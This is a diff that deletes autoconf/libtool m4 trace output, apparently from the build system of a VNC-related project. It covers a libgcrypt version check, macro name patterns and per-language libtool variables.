- fi
- if test $ok = yes; then
- AC_MSG_RESULT([yes ($libgcrypt_config_version)])
- else
- AC_MSG_RESULT(no)
- fi
- if test $ok = yes; then
- # If we have a recent libgcrypt, we should also check that the
- # API is compatible
- if test "$req_libgcrypt_api" -gt 0 ; then
- tmp=`$LIBGCRYPT_CONFIG --api-version 2>/dev/null || echo 0`
- if test "$tmp" -gt 0 ; then
- AC_MSG_CHECKING([LIBGCRYPT API version])
- if test "$req_libgcrypt_api" -eq "$tmp" ; then
- AC_MSG_RESULT([okay])
- else
- ok=no
- AC_MSG_RESULT([does not match. want=$req_libgcrypt_api got=$tmp])
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- LIBGCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags`
- LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs`
- ifelse([$2], , :, [$2])
- else
- LIBGCRYPT_CFLAGS=""
- LIBGCRYPT_LIBS=""
- ifelse([$3], , :, [$3])
- fi
- AC_SUBST(LIBGCRYPT_CFLAGS)
- AC_SUBST(LIBGCRYPT_LIBS)
-])
-m4trace:configure.ac:2: -1- m4_pattern_forbid([^_?A[CHUM]_])
-m4trace:configure.ac:2: -1- m4_pattern_forbid([_AC_])
-m4trace:configure.ac:2: -1- m4_pattern_forbid([^LIBOBJS$], [do not use LIBOBJS directly, use AC_LIBOBJ (see section `AC_LIBOBJ vs LIBOBJS'])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^AS_FLAGS$])
-m4trace:configure.ac:2: -1- m4_pattern_forbid([^_?m4_])
-m4trace:configure.ac:2: -1- m4_pattern_forbid([^dnl$])
-m4trace:configure.ac:2: -1- m4_pattern_forbid([^_?AS_])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^SHELL$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PATH_SEPARATOR$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_NAME$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_TARNAME$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_VERSION$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_STRING$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_BUGREPORT$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_URL$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^exec_prefix$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^prefix$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^program_transform_name$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^bindir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^sbindir$])
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-m4trace:configure.ac:2: -1- m4_pattern_allow([^datarootdir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^datadir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^sysconfdir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^sharedstatedir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^localstatedir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^includedir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^oldincludedir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^docdir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^infodir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^htmldir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^dvidir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^pdfdir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^psdir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^libdir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^localedir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^mandir$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_NAME$])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_TARNAME$])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_can_build_shared], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_can_build_shared], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -2- _LT_AC_TAGVAR([lt_prog_compiler_pic_works], [F77])
-m4trace:configure.ac:19: -1- AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_prog_compiler_pic, F77) works], [lt_prog_compiler_pic_works_F77], [$_LT_AC_TAGVAR(lt_prog_compiler_pic, F77)ifelse([F77],[],[ -DPIC],[ifelse([F77],[CXX],[ -DPIC],[])])], [], [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, F77) in
- "" | " "*) ;;
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- esac], [_LT_AC_TAGVAR(lt_prog_compiler_pic, F77)=
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, F77)=no])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _m4_warn([syntax], [AC_CACHE_VAL(lt_prog_compiler_pic_works_F77, ...): suspicious cache-id, must contain _cv_ to be cached], [../../lib/autoconf/general.m4:2031: AC_CACHE_VAL is expanded from...
-../../lib/autoconf/general.m4:2052: AC_CACHE_CHECK is expanded from...
-acinclude.m4:1219: AC_LIBTOOL_COMPILER_OPTION is expanded from...
-acinclude.m4:5419: AC_LIBTOOL_PROG_COMPILER_PIC is expanded from...
-acinclude.m4:4503: _LT_AC_LANG_F77_CONFIG is expanded from...
-acinclude.m4:4502: AC_LIBTOOL_LANG_F77_CONFIG is expanded from...
-acinclude.m4:2391: _LT_AC_TAGCONFIG is expanded from...
-acinclude.m4:684: AC_LIBTOOL_SETUP is expanded from...
-acinclude.m4:664: _AC_PROG_LIBTOOL is expanded from...
-acinclude.m4:629: AC_PROG_LIBTOOL is expanded from...
-configure.ac:19: the top level])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_can_build_shared], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -2- _LT_AC_TAGVAR([lt_prog_compiler_static_works], [F77])
-m4trace:configure.ac:19: -1- AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works], [lt_prog_compiler_static_works_F77], [$lt_tmp_static_flag], [], [_LT_AC_TAGVAR(lt_prog_compiler_static, F77)=])
-m4trace:configure.ac:19: -1- _m4_warn([syntax], [AC_CACHE_VAL(lt_prog_compiler_static_works_F77, ...): suspicious cache-id, must contain _cv_ to be cached], [../../lib/autoconf/general.m4:2031: AC_CACHE_VAL is expanded from...
-../../lib/autoconf/general.m4:2052: AC_CACHE_CHECK is expanded from...
-acinclude.m4:1264: AC_LIBTOOL_LINKER_OPTION is expanded from...
-acinclude.m4:5419: AC_LIBTOOL_PROG_COMPILER_PIC is expanded from...
-acinclude.m4:4503: _LT_AC_LANG_F77_CONFIG is expanded from...
-acinclude.m4:4502: AC_LIBTOOL_LANG_F77_CONFIG is expanded from...
-acinclude.m4:2391: _LT_AC_TAGCONFIG is expanded from...
-acinclude.m4:684: AC_LIBTOOL_SETUP is expanded from...
-acinclude.m4:664: _AC_PROG_LIBTOOL is expanded from...
-acinclude.m4:629: AC_PROG_LIBTOOL is expanded from...
-configure.ac:19: the top level])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [F77])
-m4trace:configure.ac:19: -1- AC_LIBTOOL_PROG_CC_C_O([F77])
-m4trace:configure.ac:19: -4- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -4- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -4- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -4- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -1- AC_LIBTOOL_SYS_HARD_LINK_LOCKS([F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [F77])
-m4trace:configure.ac:19: -1- AC_LIBTOOL_PROG_LD_SHLIBS([F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([enable_shared_with_static_runtimes], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_expsym_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([old_archive_From_new_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([old_archive_from_expsyms_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([export_dynamic_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([whole_archive_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([thread_safe_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec_ld], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_separator], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_shlibpath_var], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_automatic], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([always_export_symbols], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([export_symbols_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([include_expsyms], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([exclude_expsyms], [F77])
-m4trace:configure.ac:19: -1- _LT_CC_BASENAME([$compiler])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([export_dynamic_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([whole_archive_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([whole_archive_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_minus_L], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([always_export_symbols], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([enable_shared_with_static_runtimes], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([export_symbols_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([whole_archive_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([whole_archive_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_expsym_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_expsym_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_expsym_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_direct], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_shlibpath_var], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([whole_archive_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_direct], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([export_symbols_cmds], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_direct], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_SYS_LIBPATH_AIX
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_SYS_LIBPATH_AIX
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([no_undefined_flag], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([whole_archive_flag_spec], [F77])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [F77])
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-m4trace:configure.ac:19: -1- _LT_AC_LANG_GCJ_CONFIG([GCJ])
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-acinclude.m4:4604: AC_LIBTOOL_LANG_GCJ_CONFIG is expanded from...
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_static], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_can_build_shared], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -2- _LT_AC_TAGVAR([lt_prog_compiler_pic_works], [GCJ])
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- "" | " "*) ;;
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
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-../../lib/autoconf/general.m4:2052: AC_CACHE_CHECK is expanded from...
-acinclude.m4:1219: AC_LIBTOOL_COMPILER_OPTION is expanded from...
-acinclude.m4:5419: AC_LIBTOOL_PROG_COMPILER_PIC is expanded from...
-acinclude.m4:4605: _LT_AC_LANG_GCJ_CONFIG is expanded from...
-acinclude.m4:4604: AC_LIBTOOL_LANG_GCJ_CONFIG is expanded from...
-acinclude.m4:2391: _LT_AC_TAGCONFIG is expanded from...
-acinclude.m4:684: AC_LIBTOOL_SETUP is expanded from...
-acinclude.m4:664: _AC_PROG_LIBTOOL is expanded from...
-acinclude.m4:629: AC_PROG_LIBTOOL is expanded from...
-configure.ac:19: the top level])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
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-m4trace:configure.ac:19: -1- AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works], [lt_prog_compiler_static_works_GCJ], [$lt_tmp_static_flag], [], [_LT_AC_TAGVAR(lt_prog_compiler_static, GCJ)=])
-m4trace:configure.ac:19: -1- _m4_warn([syntax], [AC_CACHE_VAL(lt_prog_compiler_static_works_GCJ, ...): suspicious cache-id, must contain _cv_ to be cached], [../../lib/autoconf/general.m4:2031: AC_CACHE_VAL is expanded from...
-../../lib/autoconf/general.m4:2052: AC_CACHE_CHECK is expanded from...
-acinclude.m4:1264: AC_LIBTOOL_LINKER_OPTION is expanded from...
-acinclude.m4:5419: AC_LIBTOOL_PROG_COMPILER_PIC is expanded from...
-acinclude.m4:4605: _LT_AC_LANG_GCJ_CONFIG is expanded from...
-acinclude.m4:4604: AC_LIBTOOL_LANG_GCJ_CONFIG is expanded from...
-acinclude.m4:2391: _LT_AC_TAGCONFIG is expanded from...
-acinclude.m4:684: AC_LIBTOOL_SETUP is expanded from...
-acinclude.m4:664: _AC_PROG_LIBTOOL is expanded from...
-acinclude.m4:629: AC_PROG_LIBTOOL is expanded from...
-configure.ac:19: the top level])
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-m4trace:configure.ac:19: -4- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [GCJ])
-m4trace:configure.ac:19: -4- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_cv_prog_compiler_c_o], [GCJ])
-m4trace:configure.ac:19: -1- AC_LIBTOOL_SYS_HARD_LINK_LOCKS([GCJ])
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-m4trace:configure.ac:19: -1- AC_LIBTOOL_PROG_LD_SHLIBS([GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_shlibpath_var], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
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-m4trace:configure.ac:19: -1- AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH([GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_action], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_action], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([predep_objects], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([predeps], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([compiler_lib_search_path], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_expsym_cmds], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([module_cmds], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([module_expsym_cmds], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([old_archive_from_expsyms_cmds], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_shlibpath_var], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([include_expsyms], [GCJ])
-m4trace:configure.ac:19: -1- _m4_warn([obsolete], [The macro `AC_LANG_RESTORE' is obsolete.
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-acinclude.m4:4604: AC_LIBTOOL_LANG_GCJ_CONFIG is expanded from...
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-acinclude.m4:684: AC_LIBTOOL_SETUP is expanded from...
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-m4trace:configure.ac:19: -1- AC_LIBTOOL_LANG_RC_CONFIG
-m4trace:configure.ac:19: -1- _LT_AC_LANG_RC_CONFIG([RC])
-m4trace:configure.ac:19: -1- _m4_warn([obsolete], [The macro `AC_LANG_SAVE' is obsolete.
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-m4trace:configure.ac:19: -1- _LT_CC_BASENAME([$compiler])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec_ld], [RC])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_separator], [RC])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_minus_L], [RC])
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-m4trace:configure.ac:910: -1- m4_pattern_allow([^HAVE_DOPRNT$])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^pid_t$])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^HAVE_VFORK_H$])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^HAVE_WORKING_VFORK$])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^vfork$])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^HAVE_WORKING_FORK$])
-m4trace:configure.ac:912: -1- m4_pattern_allow([^HAVE_LIBNSL$])
-m4trace:configure.ac:913: -1- m4_pattern_allow([^HAVE_LIBSOCKET$])
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-m4trace:configure.ac:932: -1- _AM_SUBST_NOTMAKE([LINUX_TRUE])
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-m4trace:configure.ac:963: -1- AM_CONDITIONAL([WITH_X11VNC], [test "$build_x11vnc" = "yes"])
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-m4trace:configure.ac:964: -1- m4_pattern_allow([^RPMSOURCEDIR$])
-m4trace:configure.ac:1013: -1- m4_pattern_allow([^LIB@&t@OBJS$])
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-m4trace:configure.ac:1013: -1- m4_pattern_allow([^am__EXEEXT_TRUE$])
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-m4trace:configure.ac:1013: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_TRUE])
-m4trace:configure.ac:1013: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_FALSE])
